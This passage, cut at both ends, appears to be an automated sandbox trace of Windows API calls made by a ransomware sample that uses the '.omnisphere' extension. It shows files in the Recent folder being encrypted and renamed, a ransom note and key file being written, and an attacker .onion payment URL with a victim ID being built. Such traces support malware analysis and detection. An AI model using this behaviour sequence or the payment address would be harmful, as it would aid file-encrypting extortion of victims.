pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.349] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.350] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.350] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0119.350] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.350] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.350] GetProcessHeap () returned 0x1600000 [0119.350] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b6) returned 0x16bb1f8 [0119.350] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9xgyhpycwzu1fe.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9xgyhpycwzu1fe.lnk.omnisphere")) returned 1 [0119.351] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk.omnisphere.id" [0119.351] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\9xgyhpycwzu1fe.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.351] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.353] CloseHandle (hObject=0x3c0) returned 1 [0119.354] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.355] CloseHandle (hObject=0x288) returned 1 [0119.355] SetEndOfFile (hFile=0x28c) returned 1 [0119.355] FlushFileBuffers (hFile=0x28c) returned 1 [0119.360] CloseHandle (hObject=0x28c) returned 1 [0119.361] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9XgYhPYcWzu1Fe.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.361] GetProcessHeap () returned 0x1600000 [0119.361] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16bb4b8 [0119.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.361] GetProcessHeap () returned 0x1600000 [0119.361] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2270 [0119.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2270, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.361] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.362] GetProcessHeap () returned 0x1600000 [0119.362] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afc48 [0119.362] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afc48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.362] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.362] GetProcessHeap () returned 0x1600000 [0119.362] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1e00 [0119.362] PathCombineW (in: pszDest=0x16a1e00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.362] GetProcessHeap () returned 0x1600000 [0119.362] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16b4b38 [0119.362] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.362] WriteFile (in: hFile=0x28c, lpBuffer=0x16b4b38*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16b4b38*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.362] CloseHandle (hObject=0x28c) returned 1 [0119.363] GetProcessHeap () returned 0x1600000 [0119.363] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16bb4b8 | out: hHeap=0x1600000) returned 1 [0119.363] GetProcessHeap () returned 0x1600000 [0119.363] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e838 [0119.363] PathCombineW (in: pszDest=0x162e838, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.363] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.363] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.363] CloseHandle (hObject=0x28c) returned 1 [0119.363] GetProcessHeap () returned 0x1600000 [0119.364] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e838 | out: hHeap=0x1600000) returned 1 [0119.364] GetProcessHeap () returned 0x1600000 [0119.364] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.364] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22b16e83, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x22b16e83, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x22b16e83, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3e4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="a1X2_-WPNwQzbcqj.lnk", cAlternateFileName="A1X2_-~1.LNK")) returned 1 [0119.364] GetProcessHeap () returned 0x1600000 [0119.364] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x16a16d0 [0119.364] PathCombineW (in: pszDest=0x16a16d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="a1X2_-WPNwQzbcqj.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk" [0119.364] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a1X2_-WPNwQzbcqj.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\a1x2_-wpnwqzbcqj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.364] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=996) returned 1 [0119.364] GetTickCount () returned 0x115dd3d [0119.364] GetTickCount () returned 0x115dd3d [0119.364] GetTickCount () returned 0x115dd3d [0119.364] GetTickCount () returned 0x115dd3d [0119.364] GetTickCount () returned 0x115dd3d [0119.364] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] GetTickCount () returned 0x115dd3d [0119.365] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0119.366] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0119.366] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.366] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.366] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.367] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e4, lpName=0x0) returned 0x288 [0119.367] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e4) returned 0x1480000 [0119.367] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668928) returned 1 [0119.368] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0119.368] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.368] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.369] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.370] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, 